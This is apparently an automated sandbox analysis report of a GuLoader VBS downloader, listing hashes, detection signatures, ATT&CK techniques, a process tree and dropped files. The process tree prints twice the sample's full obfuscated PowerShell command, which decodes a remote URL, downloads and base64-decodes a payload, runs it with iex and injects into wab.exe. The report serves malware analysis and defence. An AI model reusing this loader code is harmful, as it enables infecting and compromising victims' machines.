guloader | 30ae6fc95fc54a823affe7ae7cfbbe4e62913522753dc2689927b9605098d2ba

Analysis

max time kernel
142s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
07/06/2024, 01:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
30ae6fc95fc54a823affe7ae7cfbbe4e62913522753dc2689927b9605098d2ba.vbs
Size 163KB
Sample240607-bvs4kafb9t
SHA256 30ae6fc95fc54a823affe7ae7cfbbe4e62913522753dc2689927b9605098d2ba
MD5 4f884ad3bd4f0088998fbb71299f5885
SHA1 89150a1de085a8d43e4c3abb682cab852ea035e0
SHA512 3f890ff658b3697eed0fe9be1011bf3780b7ad5dc5811c700bbc2fc5da6304809007b08dc6ebed33df0b12b9131908c1bef81f93cbe9c5f98bda686da5dbf020
SSDEEP 3072:Gvn9Dm5IXdH7eAlsSyP/ioJbae+nzu6J5RcuXrMLJCwWDY5Fqy/NhSHBvPoeL4/E:Gvn9Dm5IXdH7ecsSyP/io9ae+nzu6J5B
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader downloader

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	4644	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
3696	wab.exe
3696	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
892	powershell.exe
3696	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 892 set thread context of 3696	892	powershell.exe	105

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5028	3696	WerFault.exe	105

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
4644	powershell.exe
4644	powershell.exe
892	powershell.exe
892	powershell.exe
892	powershell.exe
892	powershell.exe
3696	wab.exe
3696	wab.exe
3696	wab.exe
3696	wab.exe
3696	wab.exe
3696	wab.exe
3696	wab.exe
3696	wab.exe
3696	wab.exe
3696	wab.exe
3696	wab.exe
3696	wab.exe
3696	wab.exe
3696	wab.exe
3696	wab.exe
3696	wab.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
892	powershell.exe
892	powershell.exe
3696	wab.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4644	powershell.exe
Token: SeDebugPrivilege	892	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 5020 wrote to memory of 4644	5020	WScript.exe	90
PID 5020 wrote to memory of 4644	5020	WScript.exe	90
PID 4644 wrote to memory of 2036	4644	powershell.exe	92
PID 4644 wrote to memory of 2036	4644	powershell.exe	92
PID 4644 wrote to memory of 892	4644	powershell.exe	94
PID 4644 wrote to memory of 892	4644	powershell.exe	94
PID 4644 wrote to memory of 892	4644	powershell.exe	94
PID 892 wrote to memory of 824	892	powershell.exe	101
PID 892 wrote to memory of 824	892	powershell.exe	101
PID 892 wrote to memory of 824	892	powershell.exe	101
PID 892 wrote to memory of 4992	892	powershell.exe	104
PID 892 wrote to memory of 4992	892	powershell.exe	104
PID 892 wrote to memory of 4992	892	powershell.exe	104
PID 892 wrote to memory of 3696	892	powershell.exe	105
PID 892 wrote to memory of 3696	892	powershell.exe	105
PID 892 wrote to memory of 3696	892	powershell.exe	105
PID 892 wrote to memory of 3696	892	powershell.exe	105
PID 892 wrote to memory of 3696	892	powershell.exe	105

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\30ae6fc95fc54a823affe7ae7cfbbe4e62913522753dc2689927b9605098d2ba.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Addictedness = 1;Function Mageskiftets($Taksigelses){$Betatron=$Taksigelses.Length-$Addictedness;$Fldningsreaktioner='Substring';For( $gurts=5;$gurts -lt $Betatron;$gurts+=6){$Forskalle+=$Taksigelses.$Fldningsreaktioner.Invoke( $gurts, $Addictedness);}$Forskalle;}function Nonthinking($Brazilwood){ & ($Blokdannelsers) ($Brazilwood);}$Hvalfangerstationen=Mageskiftets ' UnytMF.ldsointe.zLewisitrianl Polll tesaCykel/.edpl5 Sati. Into0Dilac croce(,nhrtW Abr.iCh,omnInfardFatefoVri sws,rlnsDi,ti ProgrNAfskeTCo ou Kib.t1 Mass0Arki..Nums.0 Upti;Under SkaanW DioniWarranvoldg6Flump4Brand;Krimi ParacxShika6 Ivri4Nondi;Mercu BegunrNonskvHypoc: Insu1Anarc2Sprng1Preov. Fata0Snits)M nst IdealG AstreSmi,scP,riok Anm.oS dha/Over.2 Eli,0Efter1Poe,i0Paraf0Va tf1 C.mp0 Dumh1Overc UdsavF Hy.giMo etrfestie Valgf,aataoMedicxFigge/Samle1Hjael2Skind1In er.Ask p0Hje t ';$Guerillakrigenes11=Mageskiftets ' fe.sUKirsesCerameDativrMicr,- BrazA Rvesg Pidde quesnHyrent hika ';$Paasejles=Mageskiftets 'SkolehBele tgr dgt Perip .rkr:Afsta/Udste/T.rrek Que aCadearTrilloFr.mkoPerihn Chr,pWint cEnvis.HjertcUltraoBur,amUncle/RainfSK.mmulNe,kraSlatedReis.eImpen1,isul0Brote7 Afga..ontopDjvl.s.ndermResla ';$Unquicksilvered=Mageskiftets 'P rio>bigho ';$Blokdannelsers=Mageskiftets 'Sc,laiLibere StenxPe et ';$Viennese='Arithmometer';$Equipartisan = Mageskiftets 'Ma,kieEftercSamtahUklaroSyref No c% Bek aBant ptaxacp Sk.ddBogieaOverkt U reaDiako%di,zo\RdselUlandsn EvaksO.ernoKejseaFetomrReconaBo.igbA,titlMethye Blad.TeetoFTrackoPoesirSkrmt Prec& Misp&Hands EnsreeTaboucDevirhOve.joUdelu sk.tstNetmo ';Nonthinking (Mageskiftets ' Anet$Unwa.gTekstl undeoTorpebbrn,paAnneklU.ine:AwcivHbestreHandllSoleniFendeoSlutbt.econrLgnesoL,elfpbeguneVampyrCyclo=.eadh(CarefcTredkmClothdPolit Eksek/ Gar c orvi Stor$ k,ipEPikkeqAdvisuMde liW.itsp Man,aK,bikrSeraptTo.ariLagersSubcha ChamnBesgs)Collo ');Nonthinking (Mageskiftets 'Trinc$For ag Tem.lb.oomoRk.eub MinxaCentrlGaran: SemaDGardeeS.geslMeduno Shadc Recia ChaflVacoaiAnstizFjte,aTitaltFerski FloroTrypanConch=Arc.o$Spoo.P Inopafjorta Becks DoedeOpflajLevealInholeDe acsAllan.UdforsFleerpxenonlKolleiLy.bitUndta(Zonei$Poi,tU MillnSaddlqDetaiu gtesi Smmecbechak W rrsEmis iStalkl R.crvCaleneKon orT.ggee ,andd.erra)Coop ');$Paasejles=$Delocalization[0];$Menusystemers52= (Mageskiftets ' Dian$Ta,sag Po.yl.nmaroSy teb BegiaBeslalAerol:OmgivP,nderaFrim nUnigno raktp D,nitS,euriAnarec Bofoo mortnDragk=kerneN ferieDiamawMil.e-,npalORekonbEpitrj SasseSigtecHare.tH.lse SkaySfa.iny FornsSydsltListee CerimUntru.CrabmNByraaetranstKonto. reguWChemieAstrobAffjeCHovedlU,cariDisuneS,mtanTervet');$Menusystemers52+=$Heliotroper[1];Nonthinking ($Menusystemers52);Nonthinking (Mageskiftets ' logg$RovhuPPoly aBasa nLgerso Mo.epToneht ureiCac,mcB riooSaundnCh.mi. A.naH KinseAntitaman.edbangse,nenvrT rrosTherm[Konst$EfterGApl.duKnobbeEmelirHypoaiSpecil EskelFri yaAmtslk FllerSafekiJalapg TvaneBenaan Bud,e,ousesKilah1 y nd1Micro]Flyve=Ajlef$Go,anHLikvivBje.gaMu,iklov rtfRelataGhazenO ercgggekaeTournr.kedas Pse t AndeaMidsotsnittiBibuloBypl,n Incue,andsnObtun ');$Chatteringly=Mageskiftets ' econ$ma.tiPSanenaTex un D.ifoWar ip Fl.gtSnermiS pracEn eeo Strin Idio.InfilD.ipewoVaporwLockin Comel NydeoAli,eaBesi,dDit iFSpekuiUnsenl SojaeOstre(Meret$ Com PAfhena,ottia,rioxsSnutte Vellj antal Kn seS.persAntic,Proar$OctamP DeliuForterS,perlG lli)Trdes ';$Purl=$Heliotroper[0];Nonthinking (Mageskiftets 'Gr,ss$ .evegudstylKeyesoer,veb.immiaGigtbl Impa:NonchDWoodbeggepur GrowePhrengIleosuMacrol Urdua Pre tFribaeRend d Micr= Solf(FormuTTerateFulgosFor.etC,tch-PolynPSoupeaPre,atPed thGenia Preop$Vol.eP Soc,uVanvirSkrkplInter)Rough ');while (!$Deregulated) {Nonthinking (Mageskiftets ' S ra$ Raa.g,uadrl As.eoOrthobFestuaVarielStaud:ScopuKLeuciorer,imj,wlim Abbou StaanContreGlasusDeregkBo,leoS,bagl,artoeOgdoarAvisa=Uncam$T olitSpondrAdhamuTilseeEndop ') ;Nonthinking $Chatteringly;Nonthinking (Mageskiftets 'AnlifSDashnt leukaSe ldrPeridt Diag-F ignSOptiklKai.eeNontre UnvapTask. Stram4Todkk ');Nonthinking (Mageskiftets 'Ordsp$Udk.sgExtralDis.eoUncanb InjuatrebulMulti: JvnfDPewyaeInvalrLobsieArcadg.arsousei,ml CorraNonemtGam,ae BicydSamme=termi(L.togTou.preSpatisA,rhutHypot- anchPOc,opaValgmtKoopehudval Sneak$SolfaP Su,su Ra.irTil,blHopvi) Gen, ') ;Nonthinking (Mageskiftets 'Kultu$T komg t,vel Credo AnpabA,neaaIdi clSicc :vedliGVendeiUnsatlUnderdAgalmnConvei callnNo obg B.ve=Leibs$FodbogHom.mlPe.mioSydamb VrtsaHootilThank:EfterBKlageiPhantps.encpInditeEp thsper,n1Sipho8Bygg 5Konfl+Essen+Incon%Happi$Non.iDFant.e Su.plChon oHjre c B.laaBli,dl S.akiLdreizCo.pla kandt melliVaarbo AlunnHelsi.Hov ecAle.aoF,laruStjninSt,pftKrrer ') ;$Paasejles=$Delocalization[$Gildning];}$Cyclometres=300334;$Udarmningen=28899;Nonthinking (Mageskiftets 'Skar $An iegKompol yrmeo ClinbSpiseaSnepllHjlpe:Si,keTMis,roaktivr ImpeoInternInterjA,deia Hush untru= Slik MosenGAnstrePer,it eroc-NonglCAmensoF.rienDi setAkkoreFastenSk,nnt ylin Undvi$ ReitPPa aluTasterBrglulVugge ');Nonthinking (Mageskiftets 'Rostr$ops.mgUf.rdlMi.kuoKandib MiscaGr,galGarni:phe.lFBetlee FaldrGoddas Lierktiskev CresaCyclorAlgoueLyd otClayeeMrkvrrBr.dfmSurmuiT,lefnAmouraGul.alBiomee randrSprogn ygreYdmy,sLat.n Maltl=Pilpu Fe,s[ Ind.STreety EigisGracet,xcameSanitmInfus.RaasyC CanvoUn,onnT,pskvBan,leSt.edrHjemmt Half]Lanso: plas:Cir uFSger r ColooE.ecumF,nteBManneaMisstsU.sineTings6H fti4 Uvs.SCentrtHiswar G,rniRearonDelivgEjend( Ruge$P.pyrTPettio.ircorPlaceoQ iven Micrj.ammea Trit)Tikam ');Nonthinking (Mageskiftets 'pitch$grav,gN.ndilPayc oMaisebRutteaVindalSemia:Loo eFPard.iPlebsdLivfueOutmas.asissTilstaBan a Te,em=Walle Dagf [MidjeSinactyMass,sScramtBoo.eeunconmCarci.OprreT RygeeModerxEmisst Koon.VictrEMirtunOskarcChan,oSucc.dUnikai.fvignI,dleguudn.]Lbri :Arbej:Su,anA.agneS B,fiC Ls.nIBadekIVesti.MairiG SmaaeAndantMirakSdiphtt Vl erSkuldiSpongnJulengCrypt(Outre$opbevFjengeePro er Flnss ountk TricvTem,da Alter OvereGenintSekuneLogerr ShopmNonpaiIlli.nC.aloaVarvilRhinoe Do rrH.morn GlaceSocios kiff) Ku d ');Nonthinking (Mageskiftets 'Kingl$ Fo,sgAvneslKarakoGunitbUrotoaAfs el,anta: MikrBrecoce H nnsi reav deniaNonennSc,pogNedlarBuhlceEin,erG.det=Bil,y$FilmiFPrvekiCyanid CereeSavvrsDisemsMetr.aConce.Nonobs DodguGnis.bTra,ssTildatas.lurBlin,iAl,inn KrongIsome(Skils$ContrCEks kyKon ecsindelDokumoTakkem D,ngeV,rmetSkovtr ,isceMo.oesOutwa, fil.$BardiUFkalidDestiaTeatrrNussem HyldnC.ochiUnob,nAbon.gKlis,eThananTette)tamta ');Nonthinking $Besvangrer;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4644
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Unsoarable.For && echo t"
    3⤵
    PID:2036
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Addictedness = 1;Function Mageskiftets($Taksigelses){$Betatron=$Taksigelses.Length-$Addictedness;$Fldningsreaktioner='Substring';For( $gurts=5;$gurts -lt $Betatron;$gurts+=6){$Forskalle+=$Taksigelses.$Fldningsreaktioner.Invoke( $gurts, $Addictedness);}$Forskalle;}function Nonthinking($Brazilwood){ & ($Blokdannelsers) ($Brazilwood);}$Hvalfangerstationen=Mageskiftets ' UnytMF.ldsointe.zLewisitrianl Polll tesaCykel/.edpl5 Sati. Into0Dilac croce(,nhrtW Abr.iCh,omnInfardFatefoVri sws,rlnsDi,ti ProgrNAfskeTCo ou Kib.t1 Mass0Arki..Nums.0 Upti;Under SkaanW DioniWarranvoldg6Flump4Brand;Krimi ParacxShika6 Ivri4Nondi;Mercu BegunrNonskvHypoc: Insu1Anarc2Sprng1Preov. Fata0Snits)M nst IdealG AstreSmi,scP,riok Anm.oS dha/Over.2 Eli,0Efter1Poe,i0Paraf0Va tf1 C.mp0 Dumh1Overc UdsavF Hy.giMo etrfestie Valgf,aataoMedicxFigge/Samle1Hjael2Skind1In er.Ask p0Hje t ';$Guerillakrigenes11=Mageskiftets ' fe.sUKirsesCerameDativrMicr,- BrazA Rvesg Pidde quesnHyrent hika ';$Paasejles=Mageskiftets 'SkolehBele tgr dgt Perip .rkr:Afsta/Udste/T.rrek Que aCadearTrilloFr.mkoPerihn Chr,pWint cEnvis.HjertcUltraoBur,amUncle/RainfSK.mmulNe,kraSlatedReis.eImpen1,isul0Brote7 Afga..ontopDjvl.s.ndermResla ';$Unquicksilvered=Mageskiftets 'P rio>bigho ';$Blokdannelsers=Mageskiftets 'Sc,laiLibere StenxPe et ';$Viennese='Arithmometer';$Equipartisan = Mageskiftets 'Ma,kieEftercSamtahUklaroSyref No c% Bek aBant ptaxacp Sk.ddBogieaOverkt U reaDiako%di,zo\RdselUlandsn EvaksO.ernoKejseaFetomrReconaBo.igbA,titlMethye Blad.TeetoFTrackoPoesirSkrmt Prec& Misp&Hands EnsreeTaboucDevirhOve.joUdelu sk.tstNetmo ';Nonthinking (Mageskiftets ' Anet$Unwa.gTekstl undeoTorpebbrn,paAnneklU.ine:AwcivHbestreHandllSoleniFendeoSlutbt.econrLgnesoL,elfpbeguneVampyrCyclo=.eadh(CarefcTredkmClothdPolit Eksek/ Gar c orvi Stor$ k,ipEPikkeqAdvisuMde liW.itsp Man,aK,bikrSeraptTo.ariLagersSubcha ChamnBesgs)Collo ');Nonthinking (Mageskiftets 'Trinc$For ag Tem.lb.oomoRk.eub MinxaCentrlGaran: SemaDGardeeS.geslMeduno Shadc Recia ChaflVacoaiAnstizFjte,aTitaltFerski FloroTrypanConch=Arc.o$Spoo.P Inopafjorta Becks DoedeOpflajLevealInholeDe acsAllan.UdforsFleerpxenonlKolleiLy.bitUndta(Zonei$Poi,tU MillnSaddlqDetaiu gtesi Smmecbechak W rrsEmis iStalkl R.crvCaleneKon orT.ggee ,andd.erra)Coop ');$Paasejles=$Delocalization[0];$Menusystemers52= (Mageskiftets ' Dian$Ta,sag Po.yl.nmaroSy teb BegiaBeslalAerol:OmgivP,nderaFrim nUnigno raktp D,nitS,euriAnarec Bofoo mortnDragk=kerneN ferieDiamawMil.e-,npalORekonbEpitrj SasseSigtecHare.tH.lse SkaySfa.iny FornsSydsltListee CerimUntru.CrabmNByraaetranstKonto. reguWChemieAstrobAffjeCHovedlU,cariDisuneS,mtanTervet');$Menusystemers52+=$Heliotroper[1];Nonthinking ($Menusystemers52);Nonthinking (Mageskiftets ' logg$RovhuPPoly aBasa nLgerso Mo.epToneht ureiCac,mcB riooSaundnCh.mi. A.naH KinseAntitaman.edbangse,nenvrT rrosTherm[Konst$EfterGApl.duKnobbeEmelirHypoaiSpecil EskelFri yaAmtslk FllerSafekiJalapg TvaneBenaan Bud,e,ousesKilah1 y nd1Micro]Flyve=Ajlef$Go,anHLikvivBje.gaMu,iklov rtfRelataGhazenO ercgggekaeTournr.kedas Pse t AndeaMidsotsnittiBibuloBypl,n Incue,andsnObtun ');$Chatteringly=Mageskiftets ' econ$ma.tiPSanenaTex un D.ifoWar ip Fl.gtSnermiS pracEn eeo Strin Idio.InfilD.ipewoVaporwLockin Comel NydeoAli,eaBesi,dDit iFSpekuiUnsenl SojaeOstre(Meret$ Com PAfhena,ottia,rioxsSnutte Vellj antal Kn seS.persAntic,Proar$OctamP DeliuForterS,perlG lli)Trdes ';$Purl=$Heliotroper[0];Nonthinking (Mageskiftets 'Gr,ss$ .evegudstylKeyesoer,veb.immiaGigtbl Impa:NonchDWoodbeggepur GrowePhrengIleosuMacrol Urdua Pre tFribaeRend d Micr= Solf(FormuTTerateFulgosFor.etC,tch-PolynPSoupeaPre,atPed thGenia Preop$Vol.eP Soc,uVanvirSkrkplInter)Rough ');while (!$Deregulated) {Nonthinking (Mageskiftets ' S ra$ Raa.g,uadrl As.eoOrthobFestuaVarielStaud:ScopuKLeuciorer,imj,wlim Abbou StaanContreGlasusDeregkBo,leoS,bagl,artoeOgdoarAvisa=Uncam$T olitSpondrAdhamuTilseeEndop ') ;Nonthinking $Chatteringly;Nonthinking (Mageskiftets 'AnlifSDashnt leukaSe ldrPeridt Diag-F ignSOptiklKai.eeNontre UnvapTask. Stram4Todkk ');Nonthinking (Mageskiftets 'Ordsp$Udk.sgExtralDis.eoUncanb InjuatrebulMulti: JvnfDPewyaeInvalrLobsieArcadg.arsousei,ml CorraNonemtGam,ae BicydSamme=termi(L.togTou.preSpatisA,rhutHypot- anchPOc,opaValgmtKoopehudval Sneak$SolfaP Su,su Ra.irTil,blHopvi) Gen, ') ;Nonthinking (Mageskiftets 'Kultu$T komg t,vel Credo AnpabA,neaaIdi clSicc :vedliGVendeiUnsatlUnderdAgalmnConvei callnNo obg B.ve=Leibs$FodbogHom.mlPe.mioSydamb VrtsaHootilThank:EfterBKlageiPhantps.encpInditeEp thsper,n1Sipho8Bygg 5Konfl+Essen+Incon%Happi$Non.iDFant.e Su.plChon oHjre c B.laaBli,dl S.akiLdreizCo.pla kandt melliVaarbo AlunnHelsi.Hov ecAle.aoF,laruStjninSt,pftKrrer ') ;$Paasejles=$Delocalization[$Gildning];}$Cyclometres=300334;$Udarmningen=28899;Nonthinking (Mageskiftets 'Skar $An iegKompol yrmeo ClinbSpiseaSnepllHjlpe:Si,keTMis,roaktivr ImpeoInternInterjA,deia Hush untru= Slik MosenGAnstrePer,it eroc-NonglCAmensoF.rienDi setAkkoreFastenSk,nnt ylin Undvi$ ReitPPa aluTasterBrglulVugge ');Nonthinking (Mageskiftets 'Rostr$ops.mgUf.rdlMi.kuoKandib MiscaGr,galGarni:phe.lFBetlee FaldrGoddas Lierktiskev CresaCyclorAlgoueLyd otClayeeMrkvrrBr.dfmSurmuiT,lefnAmouraGul.alBiomee randrSprogn ygreYdmy,sLat.n Maltl=Pilpu Fe,s[ Ind.STreety EigisGracet,xcameSanitmInfus.RaasyC CanvoUn,onnT,pskvBan,leSt.edrHjemmt Half]Lanso: plas:Cir uFSger r ColooE.ecumF,nteBManneaMisstsU.sineTings6H fti4 Uvs.SCentrtHiswar G,rniRearonDelivgEjend( Ruge$P.pyrTPettio.ircorPlaceoQ iven Micrj.ammea Trit)Tikam ');Nonthinking (Mageskiftets 'pitch$grav,gN.ndilPayc oMaisebRutteaVindalSemia:Loo eFPard.iPlebsdLivfueOutmas.asissTilstaBan a Te,em=Walle Dagf [MidjeSinactyMass,sScramtBoo.eeunconmCarci.OprreT RygeeModerxEmisst Koon.VictrEMirtunOskarcChan,oSucc.dUnikai.fvignI,dleguudn.]Lbri :Arbej:Su,anA.agneS B,fiC Ls.nIBadekIVesti.MairiG SmaaeAndantMirakSdiphtt Vl erSkuldiSpongnJulengCrypt(Outre$opbevFjengeePro er Flnss ountk TricvTem,da Alter OvereGenintSekuneLogerr ShopmNonpaiIlli.nC.aloaVarvilRhinoe Do rrH.morn GlaceSocios kiff) Ku d ');Nonthinking (Mageskiftets 'Kingl$ Fo,sgAvneslKarakoGunitbUrotoaAfs el,anta: MikrBrecoce H nnsi reav deniaNonennSc,pogNedlarBuhlceEin,erG.det=Bil,y$FilmiFPrvekiCyanid CereeSavvrsDisemsMetr.aConce.Nonobs DodguGnis.bTra,ssTildatas.lurBlin,iAl,inn KrongIsome(Skils$ContrCEks kyKon ecsindelDokumoTakkem D,ngeV,rmetSkovtr ,isceMo.oesOutwa, fil.$BardiUFkalidDestiaTeatrrNussem HyldnC.ochiUnob,nAbon.gKlis,eThananTette)tamta ');Nonthinking $Besvangrer;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:892
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Unsoarable.For && echo t"
      4⤵
      PID:824
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:4992
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      PID:3696
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3696 -s 1072
        5⤵
        Program crash
        
        PID:5028

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3928 --field-trial-handle=3088,i,14310325015283915034,7660943942870463106,262144 --variations-seed-version /prefetch:8
1⤵
PID:3140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3696 -ip 3696
1⤵
PID:4072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_54px2nza.0gc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_54px2nza.0gc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Unsoarable.For

Path C:\Users\Admin\AppData\Roaming\Unsoarable.For
Size 428KB
SHA256 6dc00460c7cb6a1905c0db2725d05cd8619a601e2e7ae856bbf19148586ab3fe
MD5 3f15425a6a969c5de48d25cb41d9223d
SHA1 808ea5603ba073cc2b60ca402e26c69d4cfebf90
SHA512 929be7afd0be8b43ed34371d33861f8649b9f595f28c37b3893ecbad19a0fb1710ba7a4d9762529ac613d72c44bb10830ec7b6b54e761e9ab824e7c7a7c25934
SSDEEP 6144:DLw8FLtPoLJ3f9zo3L+W9iEgn/0FbKqg4h+LOo/fd/JDEbZJkSHaTi:vwgiLJcL+eSMFOqRhCHhJgbZJB
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/892-31-0x0000000006A50000-0x0000000006A9C000-memory.dmp

Download

memory/892-26-0x0000000006350000-0x00000000066A4000-memory.dmp

Download

memory/892-39-0x00000000093F0000-0x000000000EF93000-memory.dmp

Download

memory/892-15-0x0000000002FF0000-0x0000000003026000-memory.dmp

Download

memory/892-16-0x0000000005BE0000-0x0000000006208000-memory.dmp

Download

memory/892-17-0x0000000005A40000-0x0000000005A62000-memory.dmp

Download

memory/892-18-0x0000000005AE0000-0x0000000005B46000-memory.dmp

Download

memory/892-33-0x0000000006F50000-0x0000000006F6A000-memory.dmp

Download

memory/892-32-0x0000000008210000-0x000000000888A000-memory.dmp

Download

memory/892-30-0x00000000069C0000-0x00000000069DE000-memory.dmp

Download

memory/892-37-0x0000000008E40000-0x00000000093E4000-memory.dmp

Download

memory/892-36-0x0000000007C00000-0x0000000007C22000-memory.dmp

Download

memory/892-19-0x0000000005B50000-0x0000000005BB6000-memory.dmp

Download

memory/892-35-0x0000000007C60000-0x0000000007CF6000-memory.dmp

Download

memory/3696-41-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/3696-48-0x0000000001200000-0x0000000006DA3000-memory.dmp

Download

memory/3696-58-0x0000000001200000-0x0000000006DA3000-memory.dmp

Download

memory/4644-34-0x00007FFFF4B00000-0x00007FFFF4C00000-memory.dmp

Download

memory/4644-0-0x00007FFFF4B00000-0x00007FFFF4C00000-memory.dmp

Download

memory/4644-11-0x00000132BB250000-0x00000132BB272000-memory.dmp

Download

memory/4644-1-0x00007FFFF4B00000-0x00007FFFF4C00000-memory.dmp

Download

memory/4644-12-0x00007FFFF4B00000-0x00007FFFF4C00000-memory.dmp

Download

memory/4644-51-0x00007FFFF4B00000-0x00007FFFF4C00000-memory.dmp

Download